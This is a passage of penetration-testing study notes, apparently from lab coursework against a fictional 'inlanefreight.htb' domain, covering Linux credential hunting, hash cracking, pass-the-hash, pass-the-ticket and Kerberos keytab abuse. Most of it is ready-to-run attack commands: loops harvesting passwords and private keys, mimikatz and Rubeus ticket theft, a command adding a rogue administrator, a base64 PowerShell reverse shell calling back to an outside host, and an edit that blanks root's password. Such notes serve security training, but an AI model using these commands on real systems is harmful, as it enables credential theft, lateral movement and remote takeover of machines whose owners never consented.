"lib\|fonts\|share\|core" ;done ``` In this example, we search for three words (`user`, `password`, `pass`) in each file with the file extension `.cnf`. ```bash for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done ``` We can apply this simple search to the other file extensions as well. Additionally, we can apply this search type to databases stored in files with different file extensions, and we can then read those. ```bash for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done ``` Sometimes there's notes taken by the administrators or users in generic files with arbitrary extensions, commonly `.txt` or no extension at all ```bash find /home/* -type f -name "*.txt" -o ! -name "*.*" ``` Scripts are files that often contain highly sensitive information and processes. Among other things, these also contain credentials that are necessary to be able to call up and execute the processes automatically. Otherwise, the administrator or developer would have to enter the corresponding password each time the script or the compiled program is called. ```bash for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done ``` #### Cronjobs ```bash cat /etc/crontab ls -la /etc/cron.*/ ``` #### **SSH Keys** Private keys ```bash grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1" ``` **Public keys** ```bash grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1" ``` ### History In the history of the commands entered on Linux distributions that use Bash as a standard shell, we find the associated files in `.bash_history`. Nevertheless, other files like `.bashrc` or `.bash_profile` can contain important information. ```bash tail -n5 /home/*/.bash* ``` ### **Logs** | **Application Logs** | **Event Logs** | **Service Logs** | **System Logs** | | -------------------- | -------------- | ---------------- | --------------- | | **Log File** | **Description** | | --------------------- | -------------------------------------------------- | | `/var/log/messages` | Generic system activity logs. | | `/var/log/syslog` | Generic system activity logs. | | `/var/log/auth.log` | (Debian) All authentication related logs. | | `/var/log/secure` | (RedHat/CentOS) All authentication related logs. | | `/var/log/boot.log` | Booting information. | | `/var/log/dmesg` | Hardware and drivers related information and logs. | | `/var/log/kern.log` | Kernel related warnings, errors and logs. | | `/var/log/faillog` | Failed login attempts. | | `/var/log/cron` | Information related to cron jobs. | | `/var/log/mail.log` | All mail server related logs. | | `/var/log/httpd` | All Apache related logs. | | `/var/log/mysqld.log` | All MySQL server related logs. | SOME checks on those files: ```bash for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done ``` ### Memory and Cache Many applications and processes work with credentials needed for authentication and store them either in memory or in files so that they can be reused. For example, it may be the system-required credentials for the logged-in users. Another example is the credentials stored in the browsers, which can also be read. In order to retrieve this type of information from Linux distributions, there is a tool called [mimipenguin](https://github.com/huntergregal/mimipenguin) that makes the whole process easier. However, this tool requires administrator/root permissions. ```bash sudo python3 mimipenguin.py sudo bash mimipenguin.sh ``` n even more powerful tool we can use that was mentioned earlier in the Credential Hunting in Windows section is [`LaZagne`](https://github.com/AlessandroZ/LaZagne). This tool allows us to access far more resources and extract the credentials. The passwords and hashes we can obtain come from the following sources but are not limited to: | Wifi | Wpa\_supplicant | Libsecret | Kwallet | | -------------- | --------------- | --------- | ----------- | | Chromium-based | CLI | Mozilla | Thunderbird | | Git | Env\_variable | Grub | Fstab | | AWS | Filezilla | Gftp | SSH | | Apache | Shadow | Docker | KeePass | | Mimipy | Sessions | Keyrings | | ```bash sudo python2.7 laZagne.py all ``` ### **Browsers** Browsers store the passwords saved by the user in an encrypted form locally on the system to be reused. For example, the `Mozilla Firefox` browser stores the credentials encrypted in a hidden folder for the respective user. These often include the associated field names, URLs, and other valuable information. The tool [Firefox Decrypt](https://github.com/unode/firefox_decrypt) is excellent for decrypting these credentials, and is updated regularly. It requires Python 3.9 to run the latest version. Otherwise, `Firefox Decrypt 0.7.0` with Python 2 must be used. ```bash python3.9 firefox_decrypt.py ``` Alternatively, `LaZagne` can also return results if the user has used the supported browser. ```shell-session python3 laZagne.py browsers ``` ## Passwd, Shadow & Opasswd Linux-based distributions can use many different authentication mechanisms. One of the most commonly used and standard mechanisms is [Pluggable Authentication Modules](https://web.archive.org/web/20220622215926/http://www.linux-pam.org/Linux-PAM-html/Linux-PAM_SAG.html) (`PAM`). The modules used for this are called `pam_unix.so` or `pam_unix2.so` and are located in `/usr/lib/x86_x64-linux-gnu/security/` in Debian based distributions. The standard files that are read, managed, and updated are `/etc/passwd` and `/etc/shadow`. PAM also has many other service modules, such as LDAP, mount, or Kerberos. ### /etc/passwd It can also be that the `/etc/passwd` file is writeable by mistake. This would allow us to clear this field for the user `root` so that the password info field is empty. This will cause the system not to send a password prompt when a user tries to log in as `root`. ```bash root:x:0:0:root:/root:/bin/bash # INTO root::0:0:root:/root:/bin/bash ``` ### /etc/shadow | `cry0l1t3` | `:` | `$6$wBRzy$...SNIP...x9cDWUxW1` | `:` | `18937` | `:` | `0` | `:` | `99999` | `:` | `7` | `:` | `:` | `:` | | ---------- | --- | ------------------------------ | --- | -------------- | --- | ----------- | --- | ----------- | --- | -------------- | ----------------- | --------------- | ------ | | Username | | Encrypted password | | Last PW change | | Min. PW age | | Max. PW age | | Warning period | Inactivity period | Expiration date | Unused | If the password field contains a character, such as `!` or `*`, the user cannot log in with a Unix password. However, other authentication methods for logging in, such as Kerberos or key-based authentication, can still be used. The same case applies if the `encrypted password` field is empty. This means that no password is required for the login. However, it can lead to specific programs denying access to functions. The `encrypted password` also has a particular format by which we can also find out some information: * `$$$` As we can see here, the encrypted passwords are divided into three parts. The types of encryption allow us to distinguish between the following: **Algorithm Types** * `$1$` – MD5 * `$2a$` – Blowfish * `$2y$` – Eksblowfish * `$5$` – SHA-256 * `$6$` – SHA-512 ### Opasswd The PAM library (`pam_unix.so`) can prevent reusing old passwords. The file where old passwords are stored is the `/etc/security/opasswd`. Administrator/root permissions are also required to read the file if the permissions for this file have not been changed manually. ### Cracking Linux Credentials ```bash unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes ``` ```bash hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked ``` or to crack md5 hashes (just the hashes in a list): ```bash hashcat -m 500 -a 0 md5-hashes.list rockyou.txt ``` # Windows Lateral Movement ## \[NTLM] Pass the Hash (PtH) Hashes can be obtained in several ways, including: * Dumping the local SAM database from a compromised host. * Extracting hashes from the NTDS database (ntds.dit) on a Domain Controller. * Pulling the hashes from memory (lsass.exe). ### Windows NTLM Introduction Microsoft's [Windows New Technology LAN Manager (NTLM)](https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview) is a set of security protocols that authenticates users' identities while also protecting the integrity and confidentiality of their data. While Microsoft continues to support NTLM, Kerberos has taken over as the default authentication mechanism in Windows 2000 and subsequent Active Directory (AD) domains. ### Pass the Hash with Mimikatz (Windows) Mimikatz has a module named `sekurlsa::pth` that allows us to perform a Pass the Hash attack by starting a process using the hash of the user's password. To use this module, we will need the following: * `/user` - The user name we want to impersonate. * `/rc4` or `/NTLM` - NTLM hash of the user's password. * `/domain` - Domain the user to impersonate belongs to. In the case of a local user account, we can use the computer name, localhost, or a dot (.). * `/run` - The program we want to run with the user's context (if not specified, it will launch cmd.exe). ```batch mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit ``` This will spawn a cmd.exe with julio's user context ### Pass the Hash with PowerShell Invoke-TheHash (Windows) Another tool we can use to perform Pass the Hash attacks on Windows is [Invoke-TheHash](https://github.com/Kevin-Robertson/Invoke-TheHash). Local administrator privileges are not required client-side, but the user and hash we use to authenticate need to have administrative rights on the target computer. When using `Invoke-TheHash`, we have two options: SMB or WMI command execution. To use this tool, we need to specify the following parameters to execute commands in the target computer: * `Target` - Hostname or IP address of the target. * `Username` - Username to use for authentication. * `Domain` - Domain to use for authentication. This parameter is unnecessary with local accounts or when using the @domain after the username. * `Hash` - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format. * `Command` - Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target. ```powershell cd C:\tools\Invoke-TheHash\ Import-Module .\Invoke-TheHash.psd1 Invoke-SMBExec -Target -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose ``` replace the command from above with a [reverse shell payload](https://www.revshells.com/) to get a revshell ```powershell Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMwAzACIALAA4ADAAMAAxACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" ``` ### Pass the Hash with Impacket (Linux) [Impacket](https://github.com/SecureAuthCorp/impacket) has several tools we can use for different operations such as `Command Execution` and `Credential Dumping`, `Enumeration`, etc. For this example, we will perform command execution on the target machine using `PsExec`. This will give us a Powershell shell ```bash impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453 ``` There are several other tools in the Impacket toolkit we can use for command execution using Pass the Hash attacks, such as: * [impacket-wmiexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py) * [impacket-atexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py) * [impacket-smbexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py) ### Pass the Hash with CrackMapExec (Linux) We can use CrackMapExec to try to authenticate to some or all hosts in a network looking for one host where we can authenticate successfully as a local admin. ```bash crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 ``` {% hint style="warning" %} This will do a password spray scan on the whole network! It can result in a lockout of your domain user {% endhint %} If we want to perform the same actions but attempt to authenticate to each host in a subnet using the local administrator password hash, we could add `--local-auth` to our command. This method is helpful if we obtain a local administrator hash by dumping the local SAM database on one host and want to check how many (if any) other hosts we can access due to local admin password re-use. We can use the option `-x` to execute commands. It is common to see password reuse against many hosts in the same subnet. Organizations will often use gold images with the same local admin password or set this password the same across multiple hosts for ease of administration. {% hint style="info" %} If we run into this issue on a real-world engagement, a great recommendation for the customer is to implement the [Local Administrator Password Solution (LAPS)](https://www.microsoft.com/en-us/download/details.aspx?id=46899), which randomizes the local administrator password and can be configured to have it rotate on a fixed interval. {% endhint %} ```bash crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami ``` ### Pass the Hash with evil-winrm (Linux) [evil-winrm](https://github.com/Hackplayers/evil-winrm) is another tool we can use to authenticate using the Pass the Hash attack with PowerShell remoting. If SMB is blocked or we don't have administrative rights, we can use this alternative protocol to connect to the target machine. ```bash evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 ``` {% hint style="info" %} When using a domain account, we need to include the domain name, for example: {% endhint %} ### Pass the Hash with RDP (Linux) We can perform an RDP PtH attack to gain GUI access to the target system using tools like `xfreerdp`. There are a few caveats to this attack: * `Restricted Admin Mode`, which is disabled by default, should be enabled on the target host; otherwise, you will be presented with the following error:
This can be enabled by adding a new registry key `DisableRestrictedAdmin` (REG\_DWORD) under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa` with the value of 0. It can be done using the following command: ```batch reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f ``` Once the registry key is added, we can use `xfreerdp` with the option `/pth` to gain RDP access: ```shell-session xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B ``` ### UAC Limits Pass the Hash for Local Accounts UAC (User Account Control) limits local users' ability to perform remote administration operations. When the registry key `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` is set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well. {% hint style="info" %} There is one exception, if the registry key `FilterAdministratorToken` (disabled by default) is enabled (value 1), the RID 500 account (even if it is renamed) is enrolled in UAC protection. This means that remote PTH will fail against the machine when using that account. {% endhint %} These settings are only for local administrative accounts. If we get access to a domain account with administrative rights on a computer, we can still use Pass the Hash with that computer. More at [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy](https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167). *** ## \[Kerberos] Pass the Ticket (PtT) from Windows Another method for moving laterally in an Active Directory environment is called a [Pass the Ticket (PtT) attack](https://attack.mitre.org/techniques/T1550/003/). In this attack, we use a stolen Kerberos ticket to move laterally instead of an NTLM password hash. ### Kerberos Protocol Refresher The Kerberos authentication system is ticket-based. The central idea behind Kerberos is not to give an account password to every service you use. Instead, Kerberos keeps all tickets on your local system and presents each service only the specific ticket for that service, preventing a ticket from being used for another purpose. * The `TGT - Ticket Granting Ticket` is the first ticket obtained on a Kerberos system. The TGT permits the client to obtain additional Kerberos tickets or `TGS`. * The `TGS - Ticket Granting Service` is requested by users who want to use a service. These tickets allow services to verify the user's identity. When a user requests a `TGT`, they must authenticate to the domain controller by encrypting the current timestamp with their password hash. Once the domain controller validates the user's identity (because the domain knows the user's password hash, meaning it can decrypt the timestamp), it sends the user a TGT for future requests. Once the user has their ticket, they do not have to prove who they are with their password. If the user wants to connect to an MSSQL database, it will request a Ticket Granting Service (TGS) to The Key Distribution Center (KDC), presenting its Ticket Granting Ticket (TGT). Then it will give the TGS to the MSSQL database server for authentication. {% file src="/files/Y0B6MUNqt9yCqaZ5nDaN" %}
### Pass the Ticket (PtT) Attack We need a valid Kerberos ticket to perform a `Pass the Ticket (PtT)`. It can be: * Service Ticket (TGS - Ticket Granting Service) to allow access to a particular resource. * Ticket Granting Ticket (TGT), which we use to request service tickets to access any resource the user has privileges. Before we perform a `Pass the Ticket (PtT)` attack, let's see some methods to get a ticket using `Mimikatz` and `Rubeus`. ### Harvesting Kerberos Tickets from Windows Stored in LSASS, as a non-administrative user, you can only get your tickets, but as a local administrator, you can collect everything. ```cmd-session mimikatz.exe privilege::debug sekurlsa::tickets /export ``` This will create a `.kirbi` file in the current directory for each ticket. The tickets that end with `$` correspond to the computer account, which needs a ticket to interact with the Active Directory. User tickets have the user's name, followed by an `@` that separates the service name and the domain, for example: `[randomvalue]-username@service-domain.local.kirbi`. {% hint style="info" %} If you pick a ticket with the service krbtgt, it corresponds to the TGT of that account. {% endhint %} We can also export tickets using `Rubeus` and the option `dump`. This option can be used to dump all tickets (if running as a local administrator). `Rubeus dump`, instead of giving us a file, will print the ticket encoded in base64 format. We are adding the option `/nowrap` for easier copy-paste. {% hint style="info" %} At the time of writing (HTB writing), using Mimikatz version 2.2.0 20220919, if we run "sekurlsa::ekeys" it presents all hashes as des\_cbc\_md4 on some Windows 10 versions. Exported tickets (sekurlsa::tickets /export) do not work correctly due to the wrong encryption. It is possible to use these hashes to generate new tickets or use Rubeus to export tickets in base64 format. {% endhint %} ```cmd-session Rubeus.exe dump /nowrap ``` ### Pass the Key or OverPass the Hash NTLM Hash/key -> TGT Kerberos To forge our tickets, we need to have the user's hash; we can use Mimikatz to dump all users Kerberos encryption keys using the module `sekurlsa::ekeys`. This module will enumerate all key types present for the Kerberos package. ```cmd-session mimikatz.exe privilege::debug sekurlsa::ekeys ``` Now that we have access to the `AES256_HMAC` and `RC4_HMAC` keys, we can perform the OverPass the Hash or Pass the Key attack using `Mimikatz` and `Rubeus`. ``` mimikatz.exe privilege::debug sekurlsa::pth /domain:inlanefreight.htb /user: /ntlm: ``` This will create a new `cmd.exe` window that we can use to request access to any service we want in the context of the target user. To forge a ticket using `Rubeus`, we can use the module `asktgt` with the username, domain, and hash which can be `/rc4`, `/aes128`, `/aes256`, or `/des`. In the following example, we use the aes256 hash from the information we collect using Mimikatz `sekurlsa::ekeys`. ```batch Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap ``` {% hint style="info" %} Mimikatz requires administrative rights to perform the Pass the Key/OverPass the Hash attacks, while Rubeus doesn't. {% endhint %} To learn more about the difference between Mimikatz `sekurlsa::pth` and Rubeus `asktgt`, consult the Rubeus tool documentation [Example for OverPass the Hash](https://github.com/GhostPack/Rubeus#example-over-pass-the-hash). ### Pass the Ticket (PtT) In Rubeus, use the flag `/ptt` to submit the previously aquired base64 ticket (TGT or TGS) to the current logon session. ```batch Rubeus.exe asktgt /domain:inlanefreight.htb /user: /rc4: /ptt ``` Another way is to import the ticket into the current session using the `.kirbi` file from the disk. Let's use a ticket exported from Mimikatz and import it using Pass the Ticket. ```batch Rubeus.exe ptt /ticket: ``` We can also use the base64 output from Rubeus or convert a .kirbi to base64 to perform the Pass the Ticket attack. We can use PowerShell to convert a .kirbi to base64. ```powershell [Convert]::ToBase64String([IO.File]::ReadAllBytes("")) ``` Using Rubeus, we can perform a Pass the Ticket providing the base64 string instead of the file name. ```batch Rubeus.exe ptt /ticket: ``` Finally, we can also perform the Pass the Ticket attack using the Mimikatz module `kerberos::ptt` and the .kirbi file that contains the ticket we want to import. ```cmd-session mimikatz.exe privilege::debug kerberos::ptt "" ``` {% hint style="info" %} Instead of opening mimikatz.exe with cmd.exe and exiting to get the ticket into the current command prompt, we can use the Mimikatz module `misc` to launch a new command prompt window with the imported ticket using the `misc::cmd` command. {% endhint %} ### Pass The Ticket with PowerShell Remoting (Windows) [PowerShell Remoting](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.2) allows us to run scripts or commands on a remote computer. Administrators often use PowerShell Remoting to manage remote computers on the network. Enabling PowerShell Remoting creates both HTTP and HTTPS listeners. The listener runs on standard port TCP/5985 for HTTP and TCP/5986 for HTTPS. To create a PowerShell Remoting session on a remote computer, you must have **administrative permissions**, be a member of the **Remote Management Users group**, or have **explicit PowerShell Remoting permissions** in your session configuration. #### Mimikatz - PowerShell Remoting with Pass the Ticket ```cmd-session mimikatz.exe privilege::debug kerberos::ptt "kirbi_file" exit powershell Enter-PSSession -ComputerName DC01 ``` #### Rubeus - PowerShell Remoting with Pass the Ticket This prevents the erasure of existing TGTs for the current logon session. ```batch Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show ``` The above command will open a new cmd window. From that window, we can execute Rubeus to request a new TGT with the option `/ptt` to import the ticket into our current session and connect to the DC using PowerShell Remoting. ```batch Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt ``` *** ## Pass the Ticket (PtT) from Linux Although not common, Linux computers can connect to Active Directory to provide centralized identity management and integrate with the organization's systems, giving users the ability to have a single identity to authenticate on Linux and Windows computers. {% hint style="info" %} A Linux machine not connected to Active Directory could use Kerberos tickets in scripts or to authenticate to the network. It is not a requirement to be joined to the domain to use Kerberos tickets from a Linux machine. {% endhint %} In most cases, Linux machines store Kerberos tickets as [ccache files](https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html) in the `/tmp` directory. By default, the location of the Kerberos ticket is stored in the environment variable `KRB5CCNAME`. These [ccache files](https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html) are protected by reading and write permissions, but a user with elevated privileges or root privileges could easily gain access to these tickets. Another everyday use of Kerberos in Linux is with [keytab](https://kb.iu.edu/d/aumh) files. A [keytab](https://kb.iu.edu/d/aumh) is a file containing pairs of Kerberos principals and encrypted keys (which are derived from the Kerberos password). You can use a keytab file to authenticate to various remote systems using Kerberos without entering a password. However, when you change your password, you must recreate all your keytab files. [Keytab](https://kb.iu.edu/d/aumh) files commonly allow scripts to authenticate automatically using Kerberos without requiring human interaction or access to a password stored in a plain text file. {% hint style="info" %} Any computer that has a Kerberos client installed can create keytab files. Keytab files can be created on one computer and copied for use on other computers because they are not restricted to the systems on which they were initially created. {% endhint %} ### Identifying Linux and Active Directory Integration ```bash realm list ``` In case [realm](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmd) is not available, we can also look for other tools used to integrate Linux with Active Directory such as [sssd](https://sssd.io/) or [winbind](https://www.samba.org/samba/docs/current/man-html/winbindd.8.html). ```bash ps -ef | grep -i "winbind\|sssd" ``` ### Finding Keytab Files ```bash find / -name *keytab* -ls 2>/dev/null ``` {% hint style="info" %} To use a keytab file, we must have read and write (rw) privileges on the file. {% endhint %} Another way to find `keytab` files is in automated scripts configured using a cronjob or any other Linux service. ```bash crontab -l ``` [kinit](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_commands/kinit.html) allows interaction with Kerberos, and its function is to request the user's TGT and store this ticket in the cache (ccache file). We can use `kinit` to import a `keytab` into our session and act as the user. ### Finding ccache Files A credential cache or [ccache](https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html) file holds Kerberos credentials while they remain valid and, generally, while the user's session lasts. The path to this file is placed in the `KRB5CCNAME` environment variable. ```bash env | grep -i krb5 ``` As mentioned previously, `ccache` files are located, by default, at `/tmp`. ```bash ls -la /tmp ``` ### Abusing KeyTab Files As attackers, we may have several uses for a keytab file. The first thing we can do is impersonate a user using `kinit`. To use a keytab file, we need to know which user it was created for. `klist` is another application used to interact with Kerberos on Linux. This application reads information from a `keytab` file. Let's see that with the following command: ```bash klist -k -t /opt/specialfiles/carlos.keytab ``` The ticket corresponds to the user Carlos. We can now impersonate the user with `kinit`. Let's confirm which ticket we are using with `klist` and then import Carlos's ticket into our session with `kinit`. {% hint style="info" %} kinit is case-sensitive, so be sure to use the name of the principal as shown in klist. In this case, the username is lowercase, and the domain name is uppercase. {% endhint %} ```bash kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab klist ``` {% hint style="info" %} To keep the ticket from the current session, before importing the keytab, save a copy of the ccache file present in the environment variable `KRB5CCNAME`. {% endhint %} ### Keytab Extract The second method we will use to abuse Kerberos on Linux is extracting the secrets from a keytab file. If we want to gain access to his account on the Linux machine, we'll need his password. We can attempt to crack the account's password by extracting the hashes from the keytab file. Let's use [KeyTabExtract](https://github.com/sosdave/KeyTabExtract) ```bash python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab ``` With the NTLM hash, we can perform a Pass the Hash attack. With the AES256 or AES128 hash, we can forge our tickets using Rubeus or attempt to crack the hashes to obtain the plaintext password. {% hint style="info" %} A keytab file can contain different types of hashes and can be merged to contain multiple credentials even from different users. {% endhint %} The most straightforward hash to crack is the NTLM hash. We can use tools like [Hashcat](https://hashcat.net/) or [John the Ripper](https://www.openwall.com/john/) to crack it. However, a quick way to decrypt passwords is with online repositories such as , which contains billions of passwords. ### Abusing Keytab ccache To abuse a ccache file, all we need is read privileges on the file. These files, located in `/tmp`, can only be read by the user who created them, but if we gain root access, we could use them. To use a ccache file, we can copy the ccache file and assign the file path to the `KRB5CCNAME` variable. ```bash klist klist: No credentials cache found (filename: /tmp/krb5cc_0) cp /tmp/krb5cc_647401106_I8I133 . export KRB5CCNAME=$(pwd)/krb5cc_647401106_I8I133 klist Ticket cache: FILE:/root/krb5cc_647401106_I8I133 [...] ``` {% hint style="info" %} klist displays the ticket information. We must consider the values "valid starting" and "expires." If the expiration date has passed, the ticket will not work. `ccache files` are temporary. They may change or expire if the user no longer uses them or during login and logout operations. {% endhint %} ### Using Linux Attack Tools with Kerberos In case we are attacking from a machine that is not a member of the domain, for example, our attack host, we need to make sure our machine can contact the KDC or Domain Controller, and that domain name resolution is working. In this scenario, our attack host doesn't have a connection to the `KDC/Domain Controller`, and we can't use the Domain Controller for name resolution. To use Kerberos, we need to proxy our traffic via `MS01` with a tool such as [Chisel](https://github.com/jpillora/chisel) and [Proxychains](https://github.com/haad/proxychains) and edit the `/etc/hosts` file to hardcode IP addresses of the domain and the machines we want to attack. #### Configure hosts file ```bash cat /etc/hosts ``` #### Configure Proxychains ``` cat /etc/proxychains.conf [ProxyList] socks5 127.0.0.1 1080 ``` #### Download and execute Chisel on attack host (it's a single, static executable written in GoLang) ```bash wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz gzip -d chisel_1.7.7_linux_amd64.gz mv chisel_* chisel && chmod +x ./chisel sudo ./chisel server --reverse ``` #### Execute Chisel on remote host (if already present) ```batch c:\tools\chisel.exe client :8080 R:socks ``` Finally, we need to transfer Julio's ccache file from `LINUX01` to the attacker host and create the environment variable `KRB5CCNAME` with the value corresponding to the path of the ccache file. #### Impacket To use the Kerberos ticket, we need to specify our target machine name (not the IP address) and use the option `-k`. If we get a prompt for a password, we can also include the option `-no-pass`. ```bash proxychains impacket-wmiexec dc01 -k ``` {% hint style="info" %} If you are using Impacket tools from a Linux machine connected to the domain, note that some Linux Active Directory implementations use the FILE: prefix in the KRB5CCNAME variable. If this is the case, we need to modify the variable only to include the path to the ccache file. {% endhint %} #### Evil-Winrm To use [evil-winrm](https://github.com/Hackplayers/evil-winrm) with Kerberos, we need to install the Kerberos package used for network authentication. For some Linux like Debian-based (Parrot, Kali, etc.), it is called `krb5-user` In case the package `krb5-user` is already installed, we need to change the configuration file `/etc/krb5.conf` to include the following values: ```shell-session cat /etc/krb5.conf [libdefaults] default_realm = INLANEFREIGHT.HTB [realms] INLANEFREIGHT.HTB = { kdc = dc01.inlanefreight.htb } ``` ```bash proxychains evil-winrm -i dc01 -r inlanefreight.htb ``` ### Miscellaneous If we want to use a `ccache file` in Windows or a `kirbi file` in a Linux machine, we can use [impacket-ticketConverter](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py) to convert them. ```bash impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi ``` Then use it: ```powershell C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi ``` ### Linikatz [Linikatz](https://github.com/CiscoCXSecurity/linikatz) is a tool created by Cisco's security team for exploiting credentials on Linux machines when there is an integration with Active Directory. In other words, Linikatz brings a similar principle to `Mimikatz` to UNIX environments. Just like `Mimikatz`, to take advantage of Linikatz, we need to be root on the machine. ```bash wget https://raw.githubusercontent.com/CiscoCXSecurity/linikatz/master/linikatz.sh /opt/linikatz.sh ``` # Cracking Files ## Protected Files Many different file extensions can identify these types of encrypted/encoded files. For example, a useful list can be found on [FileInfo](https://fileinfo.com/filetypes/encoded). **Hunting for Files** A oneliner to search for SOME extensions: ```bash for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done ``` **Hunting for SSH Keys** ```bash grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1" ``` **Encrypted SSH Keys** ```bash cat /home/cry0l1t3/.ssh/SSH.private ``` ### Cracking with John `John The Ripper` has many different scripts to generate hashes from files that we can then use for cracking. We can find these scripts on our system using the following command. ```shell-session locate *2john* ``` ```bash 